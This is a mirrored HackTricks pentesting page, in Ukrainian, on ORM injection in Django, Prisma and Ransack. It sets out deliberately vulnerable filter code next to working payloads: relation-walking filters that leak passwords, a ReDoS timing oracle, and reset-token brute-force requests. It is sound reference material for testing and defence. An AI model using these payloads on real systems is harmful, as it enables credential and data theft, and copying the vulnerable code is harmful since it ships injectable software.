mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
335 lines
15 KiB
Markdown
335 lines
15 KiB
Markdown
# ORM Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Django ORM (Python)
|
||
|
||
В [**цьому пості**](https://www.elttam.com/blog/plormbing-your-django-orm/) пояснюється, як можна зробити Django ORM вразливим, використовуючи, наприклад, код на кшталт:
|
||
|
||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||
"""
|
||
Деякий базовий API перегляд, до якого користувачі надсилають запити для
|
||
пошуку статей
|
||
"""
|
||
def post(self, request: Request, format=None):
|
||
try:
|
||
<strong> articles = Article.objects.filter(**request.data)
|
||
</strong> serializer = ArticleSerializer(articles, many=True)
|
||
except Exception as e:
|
||
return Response([])
|
||
return Response(serializer.data)
|
||
</code></pre>
|
||
|
||
Зверніть увагу, як всі request.data (які будуть у форматі json) безпосередньо передаються для **фільтрації об'єктів з бази даних**. Зловмисник може надіслати несподівані фільтри, щоб витягти більше даних, ніж очікувалося.
|
||
|
||
Приклади:
|
||
|
||
* **Логін:** У простому логіні спробуйте витягти паролі користувачів, зареєстрованих у системі.
|
||
```json
|
||
{
|
||
"username": "admin",
|
||
"password_startswith":"a"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
Можливо здійснити брутфорс пароля, поки він не буде витікати.
|
||
{% endhint %}
|
||
|
||
* **Реляційне фільтрування**: Можливо проходити через відносини, щоб витікати інформацію з колонок, які навіть не очікувалися для використання в операції. Наприклад, якщо можливо витікати статті, створені користувачем з цими відносинами: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||
```json
|
||
{
|
||
"created_by__user__password__contains":"pass"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
Можливо знайти пароль усіх користувачів, які створили статтю
|
||
{% endhint %}
|
||
|
||
* **Фільтрація багато-до-багато**: У попередньому прикладі ми не змогли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||
```json
|
||
{
|
||
"created_by__departments__employees__user_startswith":"admi"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі).
|
||
{% endhint %}
|
||
|
||
* **Зловживання багатосторонніми відносинами між групами та правами Django з користувачами**: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі **багатосторонні відносини з таблицями Permission та Group**. Це, по суті, стандартний спосіб **доступу до інших користувачів з одного користувача**, якщо вони в **одній групі або мають одне й те саме право**.
|
||
```bash
|
||
# By users in the same group
|
||
created_by__user__groups__user__password
|
||
|
||
# By users with the same permission
|
||
created_by__user__user_permissions__user__password
|
||
```
|
||
* **Обхід обмежень фільтрації**: Той самий блог пропонував обійти використання деяких фільтрів, таких як `articles = Article.objects.filter(is_secret=False, **request.data)`. Можливо вивантажити статті, які мають is\_secret=True, оскільки ми можемо повернутися з відношення до таблиці Article і витікати секретні статті з не секретних статей, оскільки результати об'єднуються, а поле is\_secret перевіряється в не секретній статті, тоді як дані витікають з секретної статті.
|
||
```bash
|
||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||
```
|
||
{% hint style="danger" %}
|
||
Зловживаючи відносинами, можна обійти навіть фільтри, призначені для захисту показаних даних.
|
||
{% endhint %}
|
||
|
||
* **Помилка/Часова основа через ReDoS**: У попередніх прикладах очікувалося отримати різні відповіді, якщо фільтрація працювала чи ні, щоб використовувати це як оракул. Але може бути так, що якась дія виконується в базі даних, і відповідь завжди однакова. У цьому сценарії може бути можливим викликати помилку бази даних, щоб отримати новий оракул.
|
||
```json
|
||
// Non matching password
|
||
{
|
||
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||
}
|
||
|
||
// ReDoS matching password (will show some error in the response or check the time)
|
||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||
```
|
||
Від того ж поста щодо цього вектора:
|
||
|
||
* **SQLite**: За замовчуванням не має оператора regexp (потрібно завантажити стороннє розширення)
|
||
* **PostgreSQL**: Не має тайм-ауту regex за замовчуванням і менш схильний до зворотного проходження
|
||
* **MariaDB**: Не має тайм-ауту regex
|
||
|
||
## Prisma ORM (NodeJS)
|
||
|
||
Наступні [**трюки витягнуті з цього поста**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||
|
||
* **Повний контроль пошуку**:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||
|
||
app.use(express.json());
|
||
|
||
app.post('/articles/verybad', async (req, res) => {
|
||
try {
|
||
// Зловмисник має повний контроль над усіма опціями prisma
|
||
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||
</strong> res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
Можна побачити, що все тіло javascript передається до prisma для виконання запитів.
|
||
|
||
У прикладі з оригінального поста це перевірить всі пости, створені кимось (кожен пост створюється кимось), повертаючи також інформацію про користувача цього когось (ім'я користувача, пароль...)
|
||
```json
|
||
{
|
||
"filter": {
|
||
"include": {
|
||
"createdBy": true
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"id": 1,
|
||
"title": "Buy Our Essential Oils",
|
||
"body": "They are very healthy to drink",
|
||
"published": true,
|
||
"createdById": 1,
|
||
"createdBy": {
|
||
"email": "karen@example.com",
|
||
"id": 1,
|
||
"isAdmin": false,
|
||
"name": "karen",
|
||
"password": "super secret passphrase",
|
||
"resetToken": "2eed5e80da4b7491"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
Наступний запит вибирає всі пости, створені кимось з паролем, і повертає пароль:
|
||
```json
|
||
{
|
||
"filter": {
|
||
"select": {
|
||
"createdBy": {
|
||
"select": {
|
||
"password": true
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"createdBy": {
|
||
"password": "super secret passphrase"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
* **Повний контроль над умовою where**:
|
||
|
||
Давайте розглянемо це, де атака може контролювати `where` умову:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||
try {
|
||
const posts = await prisma.article.findMany({
|
||
<strong> where: req.query.filter as any // Вразливий до ORM Leak
|
||
</strong> })
|
||
res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
Можливо безпосередньо фільтрувати паролі користувачів, як:
|
||
```javascript
|
||
await prisma.article.findMany({
|
||
where: {
|
||
createdBy: {
|
||
password: {
|
||
startsWith: "pas"
|
||
}
|
||
}
|
||
}
|
||
})
|
||
```
|
||
{% hint style="danger" %}
|
||
Використовуючи операції, такі як `startsWith`, можливо витікати інформацію. 
|
||
{% endhint %}
|
||
|
||
* **Обхід фільтрації в реляційних зв'язках багато-до-багато:** 
|
||
```javascript
|
||
app.post('/articles', async (req, res) => {
|
||
try {
|
||
const query = req.body.query;
|
||
query.published = true;
|
||
const posts = await prisma.article.findMany({ where: query })
|
||
res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
```
|
||
Можливо витікати непубліковані статті, повертаючись до багатосторонніх відносин між `Category` -\[\*..\*]-> `Article`:
|
||
```json
|
||
{
|
||
"query": {
|
||
"categories": {
|
||
"some": {
|
||
"articles": {
|
||
"some": {
|
||
"published": false,
|
||
"{articleFieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Також можливо витягти всіх користувачів, зловживаючи деякими зворотними багатосторонніми зв'язками:
|
||
```json
|
||
{
|
||
"query": {
|
||
"createdBy": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"{fieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
* **Помилки/Запити з затримкою**: У оригінальному пості ви можете прочитати дуже детальний набір тестів, проведених для знаходження оптимального корисного навантаження для витоку інформації з використанням навантаження на основі часу. Це:
|
||
```json
|
||
{
|
||
"OR": [
|
||
{
|
||
"NOT": {ORM_LEAK}
|
||
},
|
||
{CONTAINS_LIST}
|
||
]
|
||
}
|
||
```
|
||
Де `{CONTAINS_LIST}` - це список з 1000 рядків, щоб переконатися, що **відповідь затримується, коли правильний leak знайдено.**
|
||
|
||
## **Ransack (Ruby)**
|
||
|
||
Ці трюки були [**знайдені в цьому пості**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
||
|
||
{% hint style="success" %}
|
||
**Зверніть увагу, що Ransack 4.0.0.0 тепер вимагає використання явного allow list для атрибутів та асоціацій, які можна шукати.**
|
||
{% endhint %}
|
||
|
||
**Вразливий приклад:**
|
||
```ruby
|
||
def index
|
||
@q = Post.ransack(params[:q])
|
||
@posts = @q.result(distinct: true)
|
||
end
|
||
```
|
||
Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, методом грубої сили отримати токен скидання за допомогою:
|
||
```http
|
||
GET /posts?q[user_reset_password_token_start]=0
|
||
GET /posts?q[user_reset_password_token_start]=1
|
||
...
|
||
```
|
||
Завдяки брутфорсингу та потенційним зв'язкам було можливим витікати більше даних з бази даних.
|
||
|
||
## References
|
||
|
||
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|